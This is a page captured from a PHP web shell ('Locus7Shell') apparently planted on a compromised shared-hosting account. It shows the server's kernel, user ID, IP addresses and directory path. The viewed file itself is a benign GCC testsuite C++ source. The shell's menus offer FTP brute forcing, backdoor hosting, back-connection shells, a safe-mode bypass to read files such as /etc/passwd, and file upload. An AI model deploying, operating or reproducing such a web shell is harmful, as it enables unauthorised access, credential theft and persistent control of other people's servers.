Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gdc.test/runnable_cxx/extra-files/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     cpp_stdlib.cpp (1.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <array>
#include <string>
#include <vector>

template<typename T>
T& identity (T& v) { return v; }
template<typename T>
T** identityPP (T** v) { return v; }

template<typename T>
std::vector<T>* getVector(size_t len, const T* ptr)
{
    std::vector<T>* ret = new std::vector<T>(len);
    for (size_t i = 0; i < len; ++i)
        (*ret)[i] = ptr[i];
    return ret;
}

std::string* getString(int len, const char* ptr)
{
    return new std::string(ptr, len);
}

template<typename T, size_t N>
std::array<T, N>* getArray(const T* ptr)
{
    std::array<T, N>* ret = new std::array<T, N>();
    for (size_t x = 0; x < N; ++x)
        (*ret)[x] = ptr[x];
    return ret;
}

// Explicit instantiations, so they are callable outside this compilation unit.
template int** identityPP<int>(int**);
template float** identityPP<float>(float**);
template int& identity<int>(int&);
template float& identity<float>(float&);

template std::vector<int>* getVector<int>(size_t, const int*);
template std::vector<float>* getVector<float>(size_t, const float*);
//typedef std::vector<float> svf_t;
//template std::vector<svf_t>* getVector<svf_t>(size_t, const svf_t*);

template std::array<int, 4>* getArray<int, 4>(const int*);
template std::array<float, 4>* getArray<float, 4>(const float*);
//typedef Foo<int, 42> fi42_t;
//template std::array<fi42_t, 4> getArray<fi42_t, 4>(const fi42_t*);

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0069 ]--